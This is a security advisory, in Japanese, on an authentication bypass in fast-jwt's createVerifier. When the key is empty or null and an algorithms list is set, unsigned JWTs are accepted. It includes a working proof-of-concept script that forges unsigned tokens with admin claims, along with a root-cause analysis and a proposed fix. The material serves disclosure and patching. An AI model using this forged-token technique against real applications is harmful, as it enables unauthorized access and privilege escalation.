fast-jwt: `createVerifier`は、キーが空文字列またはnullであり、かつアルゴリズムが明示的に設定されている場合に、署名されていないJWTを受け入れます。
### 概要
fast-jwtのバージョン6.3.0以前において、`createVerifier`関数は、`key`オプションが偽値(`''`または`null`)であり、かつ`algorithms`オプションが空でない許可リストに設定されている場合に、署名検証を完全にスキップします。これにより、攻撃者は、アルゴリズムに関係なく、アプリケーションにJWTを提示することで、任意のクレームを偽造することが可能になります。
### 詳細
**根本原因:連携する4つのコードパス**
**A. 偽の同期キーが`prepareKeyOrSecret`をバイパスする**
`createVerifier`関数は、`key`の型に基づいて処理を分岐します。
```js
const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}
```
`key`が`''`(文字列、偽値)または`null`(オブジェクト、偽値)の場合、外側の型チェックは通過しますが、`if (key && ...)`のガード句は`prepareKeyOrSecret`関数を呼び出しません。したがって、その関数で追加された空のシークレットの拒否処理は、同期キーの場合には実行されません。
```js
function prepareKeyOrSecret(key, isSecret) {
if (isSecret && key.length === 0) {
throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
}
return isSecret ? createSecretKey(key) : createPublicKey(key)
}
```
**B. 明示的に指定された`algorithms`が、キーがない場合でも許可リストを有効にする**
`key`が偽値の場合、自動検出はスキップされ、呼び出し元から提供された`algorithms`(例:`['HS256']`)が`allowedAlgorithms`に保持されます。したがって、検証器は、ヘッダーがそのリストと一致するトークンを受け入れます。
**C. `hasKey`がfalse → 署名がないことが許可される**
```js
const hasKey = key instanceof Buffer ? key.length : !!key
```
```javascript
if (hasKey && !signature) {
throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
throw new TokenError(/* missingKey */)
}
// !hasKey && !signature の場合、暗号化処理は行われない
署名のないトークン(`header.payload.`)は、`signature === ''` となり、これは falsy なので、どちらの分岐もスキップされます。
**D. 署名の検証は、`signature` が truthy である場合にのみ行われる**
```javascript
if (signature && !verifySignature(header.alg, key, input, signature)) {
throw new TokenError(/* invalidSignature */)
}
```
署名が空の場合、条件は `false` となり、`verifySignature` は呼び出されません。
**E. 署名者/検証者の非対称性**
- `createSigner({ key: '' })` / `key: null` → **拒否**
- `createVerifier({ key: async () => '' })` → **拒否** (GHSA empty-secret tests)
- `createVerifier({ key: '' | null, algorithms: [...] })` → **許可**。その後、署名のないトークンを検証する。
皮肉なことに、`algorithms` を設定するというセキュリティ上のベストプラクティスが、この回避策を**可能に**しています。`algorithms` が省略されると、`allowedAlgorithms` は `[]` のままとなり、すべてのトークンが検証に失敗します。
**影響を受けるバージョン:** 6.3.0 で確認済み(現在の `main` ブランチ @ 378422c)。
これは、`Buffer` キーや非同期キー関数に対して既に適用されている、空のシークレットに対するセキュリティ強化に対する不完全な修正です(GHSA-gmvf lineage, PR #609)。
### PoC (概念実証)
```bash
cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
```
```javascript
// poc-empty-key-bypass.js
const { createVerifier } = require('.')
function unsigned(alg, claims) {
const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
return `${h}.${p}.` // 末尾にドットが付いている = 空の署名
}
const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })
```
```
// 脆弱性:キーが空の文字列 '' または明示的なアルゴリズムの許可リストにより発生
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }
// RS256 / ES256 / EdDSA の許可リストや key: null の場合も有効
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }
// 負のテストケース(正しく拒否されるべきケース):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
catch (e) { console.log('キーが空でない場合:', e.code) } // FAST_JWT_MISSING_SIGNATURE
try { createVerifier({ key: '' })(token) }
catch (e) { console.log('キーが空で、アルゴリズムが指定されていない場合:', e.code) } // FAST_JWT_INVALID_ALGORITHM
try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
catch (e) { console.log('空の Buffer の場合:', e.code) } // FAST_JWT_INVALID_KEY
```
**期待される結果:** `TokenError` がコード `FAST_JWT_INVALID_KEY` で発生する。
**実際の結果:** シグネチャのチェックなしでペイロードが返される。
### 影響
完全な認証/認可のバイパス。以下の条件を満たすアプリケーションは、攻撃者が作成した任意のクレームを含む JWT を受け入れてしまう可能性があります。
1. `createVerifier` を `key: ''` または `key: null` で使用する(これは、シークレットが設定されていない環境変数から読み込まれる場合によく見られる、例えば `process.env.JWT_SECRET || ''` の場合)。
2. `algorithms` を空でない許可リストに設定する(これは推奨されるセキュリティ対策)。
クレームのチェック (`exp`, `allowedSub` など) は実行されますが、シグネチャの検証はスキップされます。
### 推奨される修正
`createVerifier` で、バリファイアをバインドする前に、エラーを検出しやすくする:
```js
if (keyType !== 'function') {
if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
throw new TokenError(TokenError.codes.invalidKey,
'キーは null、空文字列、またはゼロ長のバッファであってはなりません。')
}
}
```
また、この組み合わせを明示的に保護する:
```
```js
if (!key && allowedAlgorithms.length > 0) {
throw new TokenError(TokenError.codes.invalidKey,
'アルゴリズムが設定されている場合、キーはnullまたはundefinedであってはなりません。')
}
```
非同期処理のパス(キー関数が`''`を返す場合)は、すでに`prepareKeyOrSecret`によって強化されており、変更する必要はありません。
影響を受けるパッケージ:
- npm (JavaScript) fast-jwt: 影響を受けるバージョンは6.3.0以下、6.3.1で修正済み。